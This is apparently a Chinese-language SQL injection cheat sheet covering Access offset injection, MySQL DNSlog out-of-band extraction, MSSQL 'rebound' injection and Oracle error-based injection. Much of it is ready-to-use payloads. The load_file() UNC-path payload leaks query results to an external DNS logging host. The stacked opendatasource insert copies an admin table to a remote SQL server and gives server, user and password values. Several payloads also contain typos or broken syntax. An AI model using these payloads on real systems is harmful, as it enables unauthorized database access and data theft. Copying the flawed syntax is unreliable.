sql注入
SQL注入
Access注入- 偏移注入
由于Access独特结构,偏移注入是其独有的注入方法
偏移注入特点
必须是Access数据库
注入点所用的表列数要大于我们要查询的表
即使不知道列名也能获取到数据
偏移注入流程
先爆表名
id=1 and exists(select * from table_name)
用bp的爆破模块就行了
爆字段数
id=1 union select 1,2,3…..from table_name
直到页面正常为止
例如我们知道了注入点的字段数量是40,我们要查询的表名为admin,这个时候我们要想办法知道admin表的字段数量
id=1 union select 1,2,3….39,admin.* from admin
id=1 union select 1,2,3….38,admin.* from admin
知道页面正常,比如这里我们一直到
id=1 union select 1,2,3…30,admin.* from admin
可以知道admin表的字段数是10个,这个时候我们这个就用看页面是否有显示数据,若没有,就移动admin.*的位置,比如
id=1 union select 1,2,3….29,admin.*,30 from admin
用这种方法想办法得到其中的数据,同时还可以查看网页源码来查看隐藏的显示点
还可以用inner join 来增大概率
- 一次偏移(总字段-admin的字段数*2)
union select 1,2,3,4,…20,* from (admin as a inner join admin as b on a.id = b.id)
- 二级偏移(总字段-admin的字段数*3)
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
Dnslog注入
Dns注入优点
有的时候我们发现注入点没有显示位,利用布尔盲注需要大量地跑需求,很容易被waf封掉,使用时间盲注的话会需要大量的时间,这个时候若是可以dns注入,能节省很多时间
Dns注入要求
注入点没有过滤load_file()函数
在mysql里,load_file()会读取一个文件的内容并且以字符串格式返回,用法为 select load_file(c:\php\1.txt)
mysql允许load_file()函数读取文件,该权限由secure_file_priv决定(mysql5.7.6后引入的)
secure_file_priv
1、限制mysqld 不允许导入 | 导出 secure_file_prive=null
2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录 secure_file_priv=/tmp/
3、不对mysqld 的导入 | 导出做限制 secure_file_priv=支持UNC路径
UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径
//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt该服务器有安装SMB服务,windows默认安装,linux没有
dns注入步骤
寻找注入点,然后开注
先去http://www.dnslog.cn/ 弄一个自己的dns服务器,由于dns服务器在被访问的时候会记录日志,这个时候我们在注入点用load_file()函数利用UNC路径去访问我们的dns服务器,就会留下一些日志,在路径里面留下的一些mysql语句也会被执行然后把结果留在dns服务器的日志里面
由于php会转义一些符号,所以如果我们要\需要输入\
接下来构造我们的payload
load_file(concat(‘//‘,(sql语句),’.xxxxxx/a’))
MSSQL注入-反弹注入
MSSQL特点
联合查询的时候要union all
我们在mysql注入的时候经常使用select 1,2,3来寻找显示位,我们这个时候只需要注意字段数相同就好了,但是mssql要求字段对应的数据类型也相等,所以我们这个时候用null来代替这些数字
注释的时候用—+,不能用#
MSSQL系统表
sysdatabases(在master数据库里)
这个表里面存放着所有的数据库名,列有 name 库名 dbid 标识库的idselect * from master.dbo.sysdatabases 查看所有库名
sysobjects
这个表里存放着所有的表名 列有name id xtype uid
对象名 对象id 对象类型 对象所有者的用户idxtype只需要知道两个 一个是U 用户表 一个是S 系统表 当对象类型是U的时候 对象名就是表名 对象id就是表的id
select * from aaa.dbo.sysobjects where xtype=”U”
查看库名为aaa里面用户创建的表
syscolumns
放着所有的列 列有 name 列名 id 表id colid 字段idopendatasource(provider_name,init_string) 注入核心函数
provider_name:注册用于访问数据源的OLEDB提供程序的UPROGID的名称,MSSQL的名称为SQLOLEDB
init_string:链接字符串 有链接地址,端口,用户名,密码,数据库名
payload:insert into opendatasource(‘sqloledb’,’server=xxx;uid=xxxx;pwd=xxxx;database=xxxx’).库名.dbo.表名 select * from admin—+
反弹注入步骤
and 1=1寻找注入点 然后用order by 来判断字段数 接下来
union all select null,null,null from admin—+ 来寻找显示位
若是没有显示位,可以尝试使用反弹注入,因为往往页面用的是select,若要用insert ,这里还要用到堆叠注入,用;来结束前一句mysql语句,然后再拼接上我们的payload
?id=1’;insert into opendatasource(‘sqloledb’,’server=SQL5095.site4now.net,1433;uid=DB_14DC28E_asdfasdf_admin;pwd=asdfasdf;database=DB_14DC28E_asdfasdf’).DB_14DC28E_asdfasdf.dbo.flagg select * from admin—+
Oracle注入-报错注入
Oracle特点
Oracle对sql语句的要求很高,没法像mysql那样随心所欲
比如select database()在Oracle是会报错的,Oracle严格要求
selecct 列名 from 表名 所以Oracle创造了一个虚拟表Dual
因此可以这样子写sql语句
select database() from Dual
select user from Dual
这里记录一下常用的查找语句
1 | select * from all_tables 查询出所有的表select * from user_tables 查询出当前用户的表select*from all_tab_columns 查询出所有的字段select*from user_tab_columns 查询出当前用户的字段select*from v$version 查版本 |
Oracle实现limit功能
rownum在oracle里面是行号的意思,通过对它的限制可以实现limit功能
1
select * from table_name where rownum<=10 返回前10行的内容select * from (select a.*,rownum b from table_name a) c where c.b>=10 and c.b<=101 返回10到100行的内容select * from table_name rownum <=100 minus select * from table_name rownum>=10 返回10到100行的内容
不等于法
1
select * from user_tab_columns where table_name='ADMIN' and rownum =1 and COLUMN_NAME<>'UNAME'
Oracle报错注入函数
CTXSYS.DRITHSX.SN(1,(sql语句))
and 1=ctxsys.drithsx.sn(1,(select * from table_name where rownum=1))
utl_inaddr.get_host_name(sql语句)
and 1=utl_inaddr.get_host_name((select user from dual))
xmltype()
and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null
dbms_xdb_version.checkin()
and (select dbmsxdb_version.checkin(select banner from sys.v$version where rownum=1)) from Dual) is not null
decode
and 1=(select decode(substr(user,1,1),’S’,(1/0),0) from Dual)
转换类型
Oracle 在联合查询的时候也很严格,要求对应的数据类型必须是相等的,所以可以使用null
- varchar转换为number to_number(1)
- number转换为varchar to_char(‘a’)
- data转换成varchar to_char(列名,1999-01-01)








